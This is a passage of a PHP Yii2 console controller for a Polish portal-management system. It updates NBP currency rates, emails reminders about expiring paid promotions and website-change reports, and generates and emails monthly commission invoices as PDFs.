                $modelCurrencyRate->quotation_date = $data[0]['effectiveDate'];

                if(!$modelCurrencyRate->save()) {
                    $transaction->rollBack();
                    var_dump($modelCurrencyRate->getErrors());
                    $this->stderr('Błąd podczas zapisu kursu waluty.');
                    return ExitCode::IOERR;
                }
            }
            
            $transaction->commit();
            $this->stdout('Pomyślnie zaktualizowano kursy walut.');
            return ExitCode::OK;
            
        } else {
            $this->stderr('Brak informacji o kursach walut.');
            return ExitCode::PROTOCOL;
        }        
    }
    
    public function actionGetExchangeRates()
    {
        $json = file_get_contents('http://api.nbp.pl/api/exchangerates/tables/c/2020-10-01/2020-11-17/?format=json');
        $data = json_decode($json, true);
        
        if(!empty($data)) {
            $transaction = Yii::$app->db->beginTransaction();
            foreach($data as $exchangeRates) { 
                $orExists = \common\models\CurrencyRates::find()->where(['quotation_date' => $exchangeRates['effectiveDate']])->limit(1)->exists();
                if($orExists) {
                    continue;
                }
                
                foreach($exchangeRates['rates'] as $exchangeRate) {
                    $modelCurrencyRate = new \common\models\CurrencyRates(['scenario' => 'create']);
                    $modelCurrencyRate->id_currency = $exchangeRate['code'];
                    $modelCurrencyRate->buying_rate = $exchangeRate['bid'];
                    $modelCurrencyRate->selling_rate = $exchangeRate['ask'];
                    $modelCurrencyRate->quotation_date = $exchangeRates['effectiveDate'];

                    if(!$modelCurrencyRate->save()) {
                        $transaction->rollBack();
                        var_dump($modelCurrencyRate->getErrors());
                        $this->stderr('Błąd podczas zapisu kursu waluty.');
                        return ExitCode::IOERR;
                    }
                }                
            }
            
            $transaction->commit();
            $this->stdout('Pomyślnie zaktualizowano kursy walut.');
            return ExitCode::OK;
            
        } else {
            $this->stderr('Brak informacji o kursach walut.');
            return ExitCode::PROTOCOL;
        }
        
    }
    
    public function actionEndingTopCompanies()
    {
        $actualDateTemp = new \DateTime();
        $actualDate = $actualDateTemp->format('Y-m-d');
        $futureDate = $actualDateTemp->add(new \DateInterval('P5D'))->format('Y-m-d');
                
        $modelsCompaniesPresentationsPromoted = \common\models\CompaniesPresentationsPromoted::find()
                ->with(['presentation', 'presentation.company'])
                ->where([
                    'companies_presentations_promoted.promotion_type' => \common\models\types\CompanyPresentationPromotionType::TOP_COMPANY
                ])
                ->andWhere(['and', ['>=', 'companies_presentations_promoted.promoted_end_date', $actualDate], ['<=', 'companies_presentations_promoted.promoted_end_date', $futureDate]])
                ->all();

        if(empty($modelsCompaniesPresentationsPromoted)) {
//            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        $portalsData = \common\models\Portals::find()->select(['id_portal', 'domain', 'id_user'])->orderBy('domain')->indexBy('id_portal')->asArray()->all();

        $additionalEmails = $this->getEmailByLogins(['vm_lukasz', 'vm_marta']);
        
        foreach($modelsCompaniesPresentationsPromoted as $modelCompanyPresentationPromoted) {
            $portalData = $portalsData[$modelCompanyPresentationPromoted->presentation->id_portal];
            
            $emails = $this->getEmailsForOperatorsOrPortalPatrons($modelCompanyPresentationPromoted->presentation->id_company, $portalData['id_user']);
            if(empty($emails)) {
                $emails = $additionalEmails;
            } else {
                $emails = array_unique(array_merge($additionalEmails, $emails));
            }
            
            //wysyłamy email z przypomnieniem o wygasającej Top Firmie (###MAIL_61###)
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = false;      
            $mailer->textLayout = false; 
            
            $message = $mailer->compose(
                [
                    'html' => 'top_company_reminder_html',
                    'text' => 'top_company_reminder_text'
                ],
                [
                    'model' => $modelCompanyPresentationPromoted,
                    'domain' => $portalData['domain'],
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setSubject(Yii::t('common-mails', 'Zbliża się termin wyłączenia Top Firmy {companyName} na portalu {domain}', ['companyName' => $modelCompanyPresentationPromoted->presentation->company->name, 'domain' => $portalData['domain']])); 

            if(!empty($this->testEmail)) {
                $message->setTo([$this->testEmail => $this->testEmail]);
                $message->setSubject($message->getSubject().' - dla: '.implode(", ", $emails));
            } else {
                $message->setTo($emails);
            }

//            $this->stdout('Sending email on addresses: '.implode(", ", $emails)."\r\n"); 
//            $message->setTo('r.sobieszczyk86@gmail.com');

            //wysyłamy wiadomość 
            $flag = $message->send();
//            $this->stdout(" - ".(($flag) ? 'OK' : 'FAIL')." \n");

            if(!$flag) {
                $this->stderr('Błąd podczas wysyłania e-maila.');
                return ExitCode::UNSPECIFIED_ERROR;
            }
        }
        
        return ExitCode::OK;
    }
    
    public function actionEndingTopProducts()
    {
        $actualDateTemp = new \DateTime();
        $actualDate = $actualDateTemp->format('Y-m-d');
        $futureDate = $actualDateTemp->add(new \DateInterval('P5D'))->format('Y-m-d');
                
        $modelsPortalsHasProductsPromoted = \common\models\PortalsHasProductsPromoted::find()
                ->with(['product', 'product.company'])
                ->where([
                    'portals_has_products_promoted.promotion_type' => \common\models\types\ProductPromotionType::TOP_PRODUCT
                ])
                ->andWhere(['and', ['>=', 'portals_has_products_promoted.promoted_end_date', $actualDate], ['<=', 'portals_has_products_promoted.promoted_end_date', $futureDate]])
                ->all();
        
        if(empty($modelsPortalsHasProductsPromoted)) {
//            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        $portalsData = \common\models\Portals::find()->select(['id_portal', 'domain', 'id_user'])->orderBy('domain')->indexBy('id_portal')->asArray()->all();
        
        $additionalEmails = $this->getEmailByLogins(['vm_lukasz', 'vm_marta']);
        
        foreach($modelsPortalsHasProductsPromoted as $modelPortalHasProductPromoted) {
            $portalData = $portalsData[$modelPortalHasProductPromoted->id_portal];
            
            $emails = $this->getEmailsForOperatorsOrPortalPatrons($modelPortalHasProductPromoted->product->id_company, $portalData['id_user']);
            if(empty($emails)) {
                $emails = $additionalEmails;
            } else {
                $emails = array_unique(array_merge($additionalEmails, $emails));
            }
            
            //wysyłamy email z przypomnieniem o wygasającym Top Produkcie (###MAIL_61###)
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = false;      
            $mailer->textLayout = false; 
            
            $message = $mailer->compose(
                [
                    'html' => 'top_product_reminder_html',
                    'text' => 'top_product_reminder_text'
                ],
                [
                    'model' => $modelPortalHasProductPromoted,
                    'domain' => $portalData['domain'],
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setSubject(Yii::t('common-mails', 'Zbliża się termin wyłączenia Top Produktu {productName} na portalu {domain}', ['productName' => $modelPortalHasProductPromoted->product->name, 'domain' => $portalData['domain']])); 

            if(!empty($this->testEmail)) {
                $message->setTo([$this->testEmail => $this->testEmail]);
                $message->setSubject($message->getSubject().' - dla: '.implode(", ", $emails));
            } else {
                $message->setTo($emails);
            }

//            $this->stdout('Sending email on addresses: '.implode(", ", $emails)."\r\n"); 
//            $message->setTo('r.sobieszczyk86@gmail.com');

            //wysyłamy wiadomość 
            $flag = $message->send();
//            $this->stdout(" - ".(($flag) ? 'OK' : 'FAIL')." \n");

            if(!$flag) {
                $this->stderr('Błąd podczas wysyłania e-maila.');
                return ExitCode::UNSPECIFIED_ERROR;
            }
        }
        
        return ExitCode::OK;
    }
    
    public function actionEndingRecommendedBooks()
    {
        $actualDateTemp = new \DateTime();
        $actualDate = $actualDateTemp->format('Y-m-d');
        $futureDate = $actualDateTemp->add(new \DateInterval('P5D'))->format('Y-m-d');
                
        $modelsBooksPromoted = \common\models\BooksPromoted::find()
                ->with(['book', 'book.company'])
                ->where([
                    'books_promoted.promotion_type' => \common\models\types\BookPromotionType::RECOMMENDED
                ])
                ->andWhere(['and', ['>=', 'books_promoted.end_date', $actualDate], ['<=', 'books_promoted.end_date', $futureDate]])
                ->all();
        
        if(empty($modelsBooksPromoted)) {
//            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        $portalsData = \common\models\Portals::find()->select(['id_portal', 'domain', 'id_user'])->orderBy('domain')->indexBy('id_portal')->asArray()->all();
        
        $additionalEmails = $this->getEmailByLogins(['vm_lukasz', 'vm_marta']);
        
        foreach($modelsBooksPromoted as $modelBookPromoted) {
            $portalData = $portalsData[$modelBookPromoted->id_portal];
            
            $emails = $this->getEmailsForOperatorsOrPortalPatrons($modelBookPromoted->book->id_company, $portalData['id_user']);
            if(empty($emails)) {
                $emails = $additionalEmails;
            } else {
                $emails = array_unique(array_merge($additionalEmails, $emails));
            }
            
            //wysyłamy email z przypomnieniem o wygasającej książce promowanej (###MAIL_65###)
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = false;      
            $mailer->textLayout = false; 
            
            $message = $mailer->compose(
                [
                    'html' => 'recommended_book_reminder_html',
                    'text' => 'recommended_book_reminder_text'
                ],
                [
                    'model' => $modelBookPromoted,
                    'domain' => $portalData['domain'],
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setSubject(Yii::t('common-mails', 'Zbliża się termin wyłączenia promowanej publikacji {bookTitle} na portalu {domain}', ['bookTitle' => $modelBookPromoted->book->title, 'domain' => $portalData['domain']])); 

            if(!empty($this->testEmail)) {
                $message->setTo([$this->testEmail => $this->testEmail]);
                $message->setSubject($message->getSubject().' - dla: '.implode(", ", $emails));
            } else {
                $message->setTo($emails);
            }

//            $this->stdout('Sending email on addresses: '.implode(", ", $emails)."\r\n"); 
//            $message->setTo('r.sobieszczyk86@gmail.com');

            //wysyłamy wiadomość 
            $flag = $message->send();
//            $this->stdout(" - ".(($flag) ? 'OK' : 'FAIL')." \n");

            if(!$flag) {
                $this->stderr('Błąd podczas wysyłania e-maila.');
                return ExitCode::UNSPECIFIED_ERROR;
            }
        }
        
        return ExitCode::OK;
    }
    
    public function actionExpiredTopCompanies()
    {
        $actualDateTemp = new \DateTime();
        $actualDate = $actualDateTemp->format('Y-m-d');
        
        $modelsCompaniesPresentationsPromoted = \common\models\CompaniesPresentationsPromoted::find()
                ->with(['presentation', 'presentation.company'])
                ->where([
                    'companies_presentations_promoted.promotion_type' => \common\models\types\CompanyPresentationPromotionType::TOP_COMPANY
                ])
                ->andWhere(['<=', 'companies_presentations_promoted.promoted_end_date', $actualDate])
                ->all();

        if(empty($modelsCompaniesPresentationsPromoted)) {
//            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        $additionalEmails = $this->getEmailByLogins(['vm_lukasz', 'vm_marta']);
        
        $portalsData = \common\models\Portals::find()->select(['id_portal', 'domain', 'id_user'])->orderBy('domain')->indexBy('id_portal')->asArray()->all();
        
        foreach($modelsCompaniesPresentationsPromoted as $modelCompanyPresentationPromoted) {
            $portalData = $portalsData[$modelCompanyPresentationPromoted->presentation->id_portal];
            
            $emails = $this->getEmailsForOperatorsOrPortalPatrons($modelCompanyPresentationPromoted->presentation->id_company, $portalData['id_user']);
            if(empty($emails)) {
                $emails = $additionalEmails;
            } else {
                $emails = array_unique(array_merge($additionalEmails, $emails));
            }
            
            //wysyłamy email z przypomnieniem o wygaśniętej Top Firmie (###MAIL_62###)
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = false;      
            $mailer->textLayout = false; 
            
            $message = $mailer->compose(
                [
                    'html' => 'top_company_expiration_html',
                    'text' => 'top_company_expiration_text'
                ],
                [
                    'model' => $modelCompanyPresentationPromoted,
                    'domain' => $portalData['domain'],
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setSubject(Yii::t('common-mails', 'Top Firma {companyName} został wyłączony na portalu {domain}', ['companyName' => $modelCompanyPresentationPromoted->presentation->company->name, 'domain' => $portalData['domain']])); 

            if(!empty($this->testEmail)) {
                $message->setTo([$this->testEmail => $this->testEmail]);
                $message->setSubject($message->getSubject().' - dla: '.implode(", ", $emails));
            } else {
                $message->setTo($emails);
            }

//            $this->stdout('Sending email on addresses: '.implode(", ", $emails)."\r\n");           
//            $message->setTo('r.sobieszczyk86@gmail.com');

            //wysyłamy wiadomość 
            $flag = $message->send();
//            $this->stdout(" - ".(($flag) ? 'OK' : 'FAIL')." \n");

            if($flag) {
                $modelCompanyPresentationPromoted->delete();
            } else {
                $this->stderr('Błąd podczas wysyłania e-maila.');
                return ExitCode::UNSPECIFIED_ERROR;
            }
        }
        
        return ExitCode::OK;
    }
    
    public function actionExpiredTopProducts()
    {
        $actualDateTemp = new \DateTime();
        $actualDate = $actualDateTemp->format('Y-m-d');
        
        $modelsPortalsHasProductsPromoted = \common\models\PortalsHasProductsPromoted::find()
                ->with(['product', 'product.company'])
                ->where([
                    'portals_has_products_promoted.promotion_type' => \common\models\types\ProductPromotionType::TOP_PRODUCT
                ])
                ->andWhere(['<=', 'portals_has_products_promoted.promoted_end_date', $actualDate])
                ->all();
        
        if(empty($modelsPortalsHasProductsPromoted)) {
//            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        $additionalEmails = $this->getEmailByLogins(['vm_lukasz', 'vm_marta']);
        
        $portalsData = \common\models\Portals::find()->select(['id_portal', 'domain', 'id_user'])->orderBy('domain')->indexBy('id_portal')->asArray()->all();
        
        foreach($modelsPortalsHasProductsPromoted as $modelPortalHasProductPromoted) {
            $portalData = $portalsData[$modelPortalHasProductPromoted->id_portal];
            
            $emails = $this->getEmailsForOperatorsOrPortalPatrons($modelPortalHasProductPromoted->product->id_company, $portalData['id_user']);
            if(empty($emails)) {
                $emails = $additionalEmails;
            } else {
                $emails = array_unique(array_merge($additionalEmails, $emails));
            }
            
            //wysyłamy email z przypomnieniem o wygaśniętym Top Produkcie (###MAIL_62###)
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = false;      
            $mailer->textLayout = false; 
            
            $message = $mailer->compose(
                [
                    'html' => 'top_product_expiration_html',
                    'text' => 'top_product_expiration_text'
                ],
                [
                    'model' => $modelPortalHasProductPromoted,
                    'domain' => $portalData['domain'],
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setSubject(Yii::t('common-mails', 'Top Produkt {productName} został wyłączony na portalu {domain}', ['productName' => $modelPortalHasProductPromoted->product->name, 'domain' => $portalData['domain']])); 

            if(!empty($this->testEmail)) {
                $message->setTo([$this->testEmail => $this->testEmail]);
                $message->setSubject($message->getSubject().' - dla: '.implode(", ", $emails));
            } else {
                $message->setTo($emails);
            }

//            $this->stdout('Sending email on addresses: '.implode(", ", $emails)."\r\n");           
//            $message->setTo('r.sobieszczyk86@gmail.com');

            //wysyłamy wiadomość 
            $flag = $message->send();
//            $this->stdout(" - ".(($flag) ? 'OK' : 'FAIL')." \n");

            if($flag) {
                $modelPortalHasProductPromoted->delete();
            } else {
                $this->stderr('Błąd podczas wysyłania e-maila.');
                return ExitCode::UNSPECIFIED_ERROR;
            }
        }
        
        return ExitCode::OK;
    }
    
    public function actionExpiredRecommendedBooks()
    {
        $actualDateTemp = new \DateTime();
        $actualDate = $actualDateTemp->format('Y-m-d');
        
        $modelsBooksPromoted = \common\models\BooksPromoted::find()
                ->with(['book', 'book.company'])
                ->where([
                    'books_promoted.promotion_type' => \common\models\types\BookPromotionType::RECOMMENDED
                ])
                ->andWhere(['<=', 'books_promoted.end_date', $actualDate])
                ->all();
        
        if(empty($modelsBooksPromoted)) {
//            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        $additionalEmails = $this->getEmailByLogins(['vm_lukasz', 'vm_marta']);
        
        $portalsData = \common\models\Portals::find()->select(['id_portal', 'domain', 'id_user'])->orderBy('domain')->indexBy('id_portal')->asArray()->all();
        
        foreach($modelsBooksPromoted as $modelBookPromoted) {
            $portalData = $portalsData[$modelBookPromoted->id_portal];
            
            $emails = $this->getEmailsForOperatorsOrPortalPatrons($modelBookPromoted->book->id_company, $portalData['id_user']);
            if(empty($emails)) {
                $emails = $additionalEmails;
            } else {
                $emails = array_unique(array_merge($additionalEmails, $emails));
            }
            
            //wysyłamy email z przypomnieniem o wygaśnięciu książki promowanej (###MAIL_66###)
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = false;      
            $mailer->textLayout = false; 
            
            $message = $mailer->compose(
                [
                    'html' => 'recommended_book_expiration_html',
                    'text' => 'recommended_book_expiration_text'
                ],
                [
                    'model' => $modelBookPromoted,
                    'domain' => $portalData['domain'],
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setSubject(Yii::t('common-mails', 'Publikacja {bookTitle} została wyłączona na portalu {domain}', ['bookTitle' => $modelBookPromoted->book->title, 'domain' => $portalData['domain']])); 

            if(!empty($this->testEmail)) {
                $message->setTo([$this->testEmail => $this->testEmail]);
                $message->setSubject($message->getSubject().' - dla: '.implode(", ", $emails));
            } else {
                $message->setTo($emails);
            }

//            $this->stdout('Sending email on addresses: '.implode(", ", $emails)."\r\n");           
//            $message->setTo('r.sobieszczyk86@gmail.com');

            //wysyłamy wiadomość 
            $flag = $message->send();
//            $this->stdout(" - ".(($flag) ? 'OK' : 'FAIL')." \n");

            if($flag) {
                $modelBookPromoted->delete();
            } else {
                $this->stderr('Błąd podczas wysyłania e-maila.');
                return ExitCode::UNSPECIFIED_ERROR;
            }
        }
        
        return ExitCode::OK;
    }
    
    public function actionExternalWebsitesChanges()
    {        
        $modelsMonitoring = \common\models\ExternalWebsitesChangesMonitoring::find()
                ->with(['company'])
                ->where(['status' => \common\models\types\ExternalWebsiteMonitoringStatus::CHANGES_DETECTED])
                ->all();

        if(empty($modelsMonitoring)) {
            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        $modelsByEmails = [];
        foreach($modelsMonitoring as $modelMonitoring) {
            foreach($modelMonitoring->emails as $email) {
                $modelsByEmails[$email][$modelMonitoring->id_monitoring] = $modelMonitoring;
            }
        }
        
        $flag = true;
        
        foreach($modelsByEmails as $email => $models) {
            //wysyłamy email z listą zewnętrznych stron, na których wykryto zmiany obserwowanej treśći (###MAIL_68###)
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = false;      
            $mailer->textLayout = false; 

            $message = $mailer->compose(
                [
                    'html' => 'external_websites_changes_detected_html',
                    'text' => 'external_websites_changes_detected_text'
                ],
                [
                    'models' => $models
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setSubject(Yii::t('common-mails', 'Raport ze zmianami w monitorowanych stronach')); 

            if(!empty($this->testEmail)) {
                $message->setTo([$this->testEmail => $this->testEmail]);
                $message->setSubject($message->getSubject().' - dla: '.$email);
            } else {
                $message->setTo($email);
            }

            $this->stdout('Sending email on address: '.$email."\r\n");

            //wysyłamy wiadomość 
            if(!$message->send()) {
                $flag = false;
                break;
            }
        }

        if($flag) {
            foreach($modelsMonitoring as $modelMonitoring) {
                $modelMonitoring->status = \common\models\types\ExternalWebsiteMonitoringStatus::WAITING;
                $modelMonitoring->save(false);
            }
        } else {
            $this->stderr('Błąd podczas wysyłania e-maila.');
            return ExitCode::UNSPECIFIED_ERROR;
        }
        
        return ExitCode::OK;
    }
    
    public function actionIssueCommissionInvoicesForBookstoreSellers()
    {        
        $actualDate = date('Y-m-d');
        //@todo proteza
//        $actualDate = '2021-06-01';
        $dateStartForOrders = date("Y-m-d", strtotime('-1 month', strtotime($actualDate)));
        $dateEndForOrders = date("Y-m-t", strtotime($dateStartForOrders));
        
        $dateStartForInvoices = date("Y-m", strtotime($actualDate)).'-01';
        $dateEndForInvoices = date("Y-m-t", strtotime($dateStartForInvoices));
        
        $monthsMap = [
            1 => 'styczeń',
            2 => 'luty',
            3 => 'marzec',
            4 => 'kwiecień',
            5 => 'maj',
            6 => 'czerwiec',
            7 => 'lipiec',
            8 => 'sierpień',
            9 => 'wrzesień',
            10 => 'październik',
            11 => 'listopad',
            12 => 'grudzień'
        ];
        
        //pobieramy zamówienia od $dateStartForOrders do $dateEndForOrders 
        $modelsOrders = \common\models\BookstoreOrders::find()
            ->with([
                'items', 
                'returns' => function($q) {
                    $q->andWhere(['status' => \common\models\types\GoodsReturnStatus::COMPLETED]);
                }, 
                'returns.items', 
                'returns.items.orderItem'
            ])            
            ->where(['>=', 'created_at', $dateStartForOrders])                
            ->andWhere(['<=', 'created_at', $dateEndForOrders])
            ->andWhere([
                'status' => \common\models\types\BookstoreOrderStatus::COMPLETED //@todo chwilowo na czas testów zakomentowane
            ])
            ->andWhere(['not', ['dealer_id_company' => null]])
            ->orderBy('created_at DESC')
            ->all();

        //jeśli pusto, to kończymy
        if(empty($modelsOrders)) {
            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        //układamy je względem dealer_id_company
        $modelsOrdersBySellers = [];
        foreach($modelsOrders as $modelOrder) {
            $modelsOrdersBySellers[$modelOrder->dealer_id_company][] = $modelOrder;
        }
        
        if(empty($modelsOrdersBySellers)) {
            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        //pobieramy firmy-sprzedawców wraz z danymi
        $modelsCompanies = \common\models\Companies::find()
                ->with([
                    'invoicingData' => function($q) {
                        $q->andWhere(['or_main' => 1]);
                    },
                    'user.contactData' => function($q) {
                        $q->andWhere([
                            'data_type' => \common\models\types\ContactDataType::EMAIL,
                            'required' => 1
                        ]);
                    }
                ])
                ->where(['id_company' => array_keys($modelsOrdersBySellers)])
                ->indexBy('id_company')
                ->all();
        if(empty($modelsCompanies)) {
            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        foreach($modelsCompanies as $modelCompany) {
            //sprawdzamy, czy dla danej firmy wystawiliśmy już jakąś fakturę prowizyjną
            $orExistsAnyCommissionInvoice = \common\models\Invoices::find()
                    ->join('INNER JOIN', 'invoices_items', 'invoices_items.id_invoice = invoices.id_invoice')
                    ->where([
                        'invoices_items.id_service' => 'COMMISSION_ON_SALES',
                        'invoices.id_company' => $modelCompany->id_company
                    ])
                    ->where(['>=', 'invoices.invoice_date', $dateStartForInvoices])                
                    ->andWhere(['<=', 'invoices.invoice_date', $dateEndForInvoices])
                    ->exists();
            
            if($orExistsAnyCommissionInvoice) {
                //jeśli tak, to idziemy do następnej firmy
                continue;
            }
            
            //sumujemy wysokość prowizji z faktur pomniejszając ją o zrealizowane zwroty
            $totalCommissionAmountGross = 0.00;
            foreach($modelsOrdersBySellers[$modelCompany->id_company] as $modelOrder) { 
                if($modelOrder->commission_amount === null) {
                    continue;
                }
                $totalCommissionAmountGross += $modelOrder->commission_amount;

                if(!empty($modelOrder->returns)) {
                    foreach($modelOrder->returns as $modelOrderReturn) {                        
                        if(!empty($modelOrderReturn->items)) {
                            foreach($modelOrderReturn->items as $modelOrderReturnItem) {
                                $modelOrderItem = $modelOrderReturnItem->orderItem;
                                $commissionFactor = $modelOrder->getCommissionRateForItemData($modelOrderItem->book_type, $modelOrderItem->or_subscription, $modelOrderItem->or_paper_version);

                                $totalCommissionAmountGross -= $modelOrderReturnItem->price * $commissionFactor;
                            }
                        }                        
                    }
                }
            }
            
            if(empty($modelCompany->invoicingData[0])) {
                continue;
            }
            $modelCompanyInvoicingData = $modelCompany->invoicingData[0];
            
            $totalCommissionAmountNet = round($totalCommissionAmountGross / 1.23, 2); //@todo do ustalenia...
            
            //tworzymy fakturę
            $modelInvoice = new \common\models\Invoices(['scenario' => 'createFull']);
            
            $nextIdInvoice = Yii::$app->db->createCommand("SELECT nextval(pg_get_serial_sequence('invoices','id_invoice'))")->queryOne();
            if(!empty($nextIdInvoice)) {
                $modelInvoice->id_invoice = intval($nextIdInvoice['nextval']);
                $modelInvoice->proforma_invoice_number = $modelCompany->id_company.'/'.$modelInvoice->id_invoice.'/'.date("Y", strtotime($actualDate));
            }
            
            $modelInvoice->id_company = $modelCompany->id_company;
            $modelInvoice->invoice_type = $modelCompanyInvoicingData->invoice_type;
            $modelInvoice->invoice_date = $actualDate;
            $modelInvoice->sale_date = $actualDate;
            $modelInvoice->payment_date = date("Y-m-d", strtotime($actualDate.' +7 days'));
            $modelInvoice->payment_type = \common\models\types\CompanyOrderPaymentType::TRANSFER;
            $modelInvoice->amount_net = $totalCommissionAmountNet;
            $modelInvoice->amount_gross = $totalCommissionAmountGross;
            $modelInvoice->currency = $modelCompanyInvoicingData->currency;
            $modelInvoice->purchaser_name = $modelCompanyInvoicingData->name;
            $modelInvoice->purchaser_street = $modelCompanyInvoicingData->street;
            $modelInvoice->purchaser_address_cont = $modelCompanyInvoicingData->address_cont;
            $modelInvoice->purchaser_building_number = $modelCompanyInvoicingData->building_number;
            $modelInvoice->purchaser_apartment_number = $modelCompanyInvoicingData->apartment_number;
            $modelInvoice->purchaser_postcode = $modelCompanyInvoicingData->postcode;
            $modelInvoice->purchaser_locality = $modelCompanyInvoicingData->locality;
            $modelInvoice->purchaser_id_country = $modelCompanyInvoicingData->id_country;
            $modelInvoice->purchaser_tax_id = $modelCompanyInvoicingData->tax_id;
            $modelInvoice->recipient_name = Yii::$app->params['invoicingData']['name'];
            $modelInvoice->recipient_street = Yii::$app->params['invoicingData']['street'];
            $modelInvoice->recipient_address_cont = Yii::$app->params['invoicingData']['addressCont'];
            $modelInvoice->recipient_building_number = Yii::$app->params['invoicingData']['buildingNumber'];
            $modelInvoice->recipient_apartment_number = Yii::$app->params['invoicingData']['apartmentNumber'];
            $modelInvoice->recipient_postcode = Yii::$app->params['invoicingData']['postcode'];
            $modelInvoice->recipient_locality = Yii::$app->params['invoicingData']['locality'];
            $modelInvoice->recipient_id_country = Yii::$app->params['invoicingData']['idCountry'];
            $modelInvoice->recipient_tax_id = Yii::$app->params['invoicingData']['taxId'];
            
            $modelInvoiceItem = new \common\models\InvoicesItems(['scenario' => 'create']);
            $modelInvoiceItem->id_invoice = $modelInvoice->id_invoice;
            $modelInvoiceItem->name = 'Prowizja od sprzedaży w serwisach Grupy Vertica.pl – za okres '.$monthsMap[date("n", strtotime($actualDate))].' '.date("Y", strtotime($actualDate));
            $modelInvoiceItem->or_commodity = 0;
            $modelInvoiceItem->id_service = 'COMMISSION_ON_SALES';
            $modelInvoiceItem->quantity = 1;
            $modelInvoiceItem->price_net_pricelist = $totalCommissionAmountNet;
            $modelInvoiceItem->amount_net_before_discount = $totalCommissionAmountNet;
            $modelInvoiceItem->discount_percent = 0.00;
            $modelInvoiceItem->amount_net = $totalCommissionAmountNet;
            $modelInvoiceItem->tax_rate = 23.00; //@todo to powinno być zaciągane z bazy - w końcu różne usługi mogą mieć różną stawkę VAT; ewentualnie tymczasowo niech tak zostanie, ale miejmy to na uwadze...             
            $modelInvoiceItem->amount_gross = $totalCommissionAmountGross;

            $transaction = Yii::$app->db->beginTransaction();

            $flag = $modelInvoice->save();
            $flag = $flag && $modelInvoiceItem->save();
            
            if($flag) {
                $transaction->commit();
//                $transaction->rollBack();
//                var_dump('ok, zapisano'); exit;
            } else {
                $transaction->rollBack();
                $this->stderr('Bład podczas zapisu faktury do bazy');
                return ExitCode::DATAERR;
            }
            
            //generujemy dla niej pdf
            if(!empty($modelInvoice->invoice_number)) {
                $fileName = $modelInvoice->invoice_number;
            } elseif(!empty($modelInvoice->proforma_invoice_number)) {
                $fileName = $modelInvoice->proforma_invoice_number;
            } else {
                $fileName = \common\components\UuidGenerator::generateV4();
            }
            $fileName = preg_replace('|[\/\\.:]|i', '_', $fileName);
            $fileName = preg_replace('|[^a-zA-Z0-9_\-]|i', '', $fileName);
            
            $tempFilePath = Yii::getAlias('@runtime')."/temp/fv".(empty($modelInvoice->invoice_number) ? 'p' : '')."_".$fileName.".html";
            $targetFilePath = Yii::getAlias('@runtime')."/temp/fv".(empty($modelInvoice->invoice_number) ? 'p' : '')."_".$fileName.".pdf";
            $contents = (new \yii\web\View())->renderFile(Yii::getAlias('backend').'/views/companiesinvoices/show_invoice.php', ['asDuplicate' => false, 'model' => $modelInvoice]);
            file_put_contents($tempFilePath, $contents);
            
            $output = \common\components\helpers\Wkhtmltopdf::save('file:///'.$tempFilePath, $targetFilePath, '-T 8 -B 8 -L 8 -R 8');    
            if($output['return'] !== 0) {
                @unlink($tempFilePath);
                @unlink($targetFilePath);
                $this->stderr('Błąd podczas generowania pliku PDF');
                return ExitCode::DATAERR;
            } 
            
            if(!empty($modelCompany->user->contactData[0]) && !empty($modelCompany->user->contactData[0]->data_value)) {
                $emailAddress = $modelCompany->user->contactData[0]->data_value;
                
                //wysyłamy e-mail z fakturą do sprzedawcy (###MAIL_74###) 
                $mailer = Yii::$app->mailer;
                $mailer->htmlLayout = 'layouts/main-html';      
                $mailer->textLayout = 'layouts/main-text';           
                $flag = $mailer->compose(
                        [
                            'html' => 'send_commission_invoice_html',
                            'text' => 'send_commission_invoice_text'
                        ],
                        [
                            'modelInvoice' => $modelInvoice,
                            'month' => $monthsMap[date("n", strtotime($actualDate))],
                            'year' => date("Y", strtotime($actualDate))
                        ]
                    )
                    ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                    ->setTo($emailAddress)
//                    ->setTo('r.sobieszczyk86@gmail.com')
                    ->setSubject(Yii::t('common-mails', 'Faktura nr {invoiceNumber} - prowizja od sprzedaży', ['invoiceNumber' => !empty($modelInvoice->invoice_number) ? $modelInvoice->invoice_number : $modelInvoice->proforma_invoice_number]))
                    ->attach($targetFilePath)
                    ->send();
            }
//            $transaction->rollBack();
            @unlink($tempFilePath);
            @unlink($targetFilePath);
        }
        
        return ExitCode::OK;
    }
    
    public function actionHideEmptyTrainingsPresentationsTabs()
    {
        $sql = "
                SELECT DISTINCT temp_table.id_company_tab 
                FROM 
                    (
                        SELECT companies_presentations_tabs.id_company_tab, companies_presentations.id_company, companies_presentations.id_portal FROM companies_presentations_tabs 
                        INNER JOIN companies_presentations ON companies_presentations.id_presentation = companies_presentations_tabs.id_presentation 
                        WHERE 
                                companies_presentations_tabs.or_empty = 0 
                                AND companies_presentations_tabs.id_tab = 'TRAININGS' 
                                AND companies_presentations_tabs.status = 'aktywny' 
